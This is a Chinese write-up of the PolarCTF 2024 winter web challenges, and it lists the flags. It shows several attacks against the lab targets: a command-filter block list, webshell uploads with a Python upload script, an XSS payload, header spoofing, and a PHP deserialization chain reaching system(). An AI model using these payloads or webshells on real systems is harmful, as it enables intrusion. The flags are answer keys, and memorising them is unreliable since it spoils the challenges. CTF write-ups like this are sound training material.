polarctf之2024年冬季挑战赛--web
1. 狗黑子的RCE
考察远程命令执行, 但是过滤了大多命令, 一个GET传参, 一个POST传参
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');
$gouheizi1=$_GET['gouheizi1'];
$gouheizi2=$_POST['gouheizi2'];
$gouheizi2=str_replace('gouheizi', '', $gouheizi2);
if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $gouheizi1)) {
echo("badly!");
exit;
}
if($gouheizi2==="gouheizi"){
system($gouheizi1);
}else{
echo "gouheizi!";
}
?>

再通过修改GET传参的参数, 即可得到flag

#flag{d22add0cf74c46feffe95e7f8064136b}
2. xxmmll
非预期
直接用工具dirsearch扫目录


#flag{ce22bbe170d234645361239b395dbc5d}
预期解
前端页面, 通过BurpSuite抓包并发送, 观察返回包内容, 存在目录xxmmll.php


随便输入点内容, 报错Invalid XML input.
那我们输入一个xml试试:
<?xml version="1.0" encoding="UTF-8"?>
<HelloWorld>
<Message>hello, world</Message>
</HelloWorld>

#flag{ce22bbe170d234645361239b395dbc5d}
3. button

点按钮就会飞走, 没办法点, 查看页面源码

发现flag字样, 查看js源码

访问该目录, 查看源代码得到flag

#flag{ce50a09343724eb82df11390e2c1de18}
4. 井字棋
通过与ai对战, 发现最后的结局只能是平局, 无法得到flag
另辟蹊径, 通过BurpSuite抓包, 发现平局也是显示ai赢

将其改成player即可(为什么是player可以去看看前端代码)

#flag{288CCA1ADB228E10EED4BFD85AC544B8}
5. 简单的导航站
点开靶机环境, 发现有注册页面, 直接点开注册即可(不需要管404)

然后直接点开登录界面, 用刚刚注册的用户登录

点开有个php代码, 代码审计一下
?php
header("Content-Type:text/html;charset=utf-8");
show_source(__FILE__);
include('user.php');
$user1 = $_GET['user1'];
$user2 = $_GET['user2'];
if ($user1 != $user2) {
if (md5($user1) === md5($user2)) {
echo '用户名:' . $user;
} else {
echo 'MD5值校验出错啦啦啦......';
}
} else {
echo 'user不能相等!';
}
?>
md5($user1) === md5($user2)直接用数组绕过即可

得到用户名的字典后, 去查找下登录密码, 在页面源码中发现

用BurpSuite的爆破模块

得到正确的用户名, 登录发现是一个文件上传题目, 直接上传一句话木马

没回显路径, 就用正常的路径.../uploads/一句话木马.php, 用蚁剑进行连接

再用BurpSuite的爆破模式来验证这些flag哪个是正确的

#flag{T4PwCg1RrQNsO4EcrQmU}
6. Note
用dirsearch扫目录, 发现flag.txt

直接访问得到flag

#flag{4596b24ab4ffcaf5472e9db97d21a3a1}
7. 坏掉的上传页
访问靶场, 发现没办法上传, 用dirsearch扫描目录, 发现config.php

访问查看数据库信息

可以看出来定义了一个DB_FILE的常量, 它的值是由UPLOAD_PATH常量与"database.db"字符串拼成的。
可以直接编写python脚本上传木马
exp
import requests
url = "http://e40a71ed-e374-46f9-b80d-53608ece144d.www.polarctf.com:8090/"
muma = {'file':open("E:\\桌面\\muma.php", "rb")}
response = requests.post(url, files = muma)
if response.status_code == 200:
print("文件上传成功")
print("服务器返回的信息: ", response.text)
else:
print("文件上传失败")
print("错误码: ", response.status_code)

访问/database.db, 得到完整的上传路径

通过蚁剑进行连接即可

#flag{73b974596dc61737dbe1d52ec2e84433}
8. 赌王

根据提示, 需要三个图标相同才能拿到hint, 我们通过抓包进行不断地旋转


根据提示, 访问ed3d2c21991e3bef5e069713af9fa6ca.php

输入1, 发现系统数字是2, 总是会比我们输入的数字大一。

测试下xss漏洞或ssti漏洞。发现是xss漏洞, payload为:<script>alert(1)</script>

将alert换为confirm再次尝试, 成功弹窗

访问目录e744f91c29ec99f0e662c9177946c627.php

尝试ping 127.0.0.1, 返回权限不足!
重新返回查看页面源码发现提示


直接X-Forwarded-For构造地址为1.1.1.1, 然后执行命令ls /


#flag{fae0b27c451c728867a567e8c1bb4e53}
9. ezezser
发现php源码, 但是好像没有利用的点, 通过dirsearch扫描目录, 发现存在git泄露

用githacker工具恢复源码

要多回滚几次, 才能得到真正的源码, 通过git log --all命令, 查看历史版本, 进行依次尝试

发现是最初的版本, 通过命令git reset --hard 0c635537b773cdd87268e7dbdc51f985eca0b0b4

代码审计
<?php
error_reporting(0);
highlight_file(__FILE__);
$polarday=$_GET['polarday'];
$polarnight=$_GET['polarnight'];
if(isset($polarday) && isset($polarnight)){
$polar520 = unserialize($_COOKIE['polar520']);
$polar520->login($polarday,$polarnight);
}
class info{
private $polar520='nukaka';
public function getInfo(){
return $this->polar520;
}
}
class polar520{
private $polarday='nukaka';
private $polarnight='nukaka';
private $polar=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($a,$b){
return $this->polarday===$a&&$this->polarnight===$b;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $key;
public function getInfo(){
eval($this->key);
}
}
最后我们要执行key, 通过polar520里面的class变量, 达到执行key的效果
exp
<?php
class polar520{
private $polarday='nukaka';
private $polarnight='nukaka';
private $polar=false;
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $key = "system('ls /');";
}
$a = new polar520();
echo urlencode(serialize($a));
?>

通过get传参, 设置Cookie的值, 获取最后的flag。
将上面的ls /换成tac /f*即可

#flag{10adc3a455abbe5057f20f883e}
10. 任务cmd
登录框根据提示, 猜测用户名为xiaoming或xiaohei, 爆破密码得到: xiaoming/123123

登录成功后, 将url中的id=xiaoming改为id=xiaohei实现越权登录

用dirsearch工具扫描目录, 发现存在login.php

访问后发现是管理员登录界面, 账户admin, 密码未知, boss的秘钥为小黑的电话

通过爆破密码达到登录的目的, admin/flower

登录发现是个普通的html界面, 但是url中发现/new目录, 直接访问。

file ----> upload.php。
http://0fdfe0d7-6ddb-4b26-93ca-8e6134dabbe2.www.polarctf.com:8090/new/file/upload.php
猜测是木马, 且密码为cmd


#flag{75a121dbb82083c9ec797c39d9b9effe}
11. 坦诚相见
执行ls命令

查看no.php代码, 发现过滤

通过base64编码执行ls -la /命令

发现没有权限查看, 通过rm命令删除no.php即可

接下来就可以直接sudo执行命令, sudo cat /f*

#flag{07cc6fe29d83a81846969c48cedfe607}
浙公网安备 33010602011771号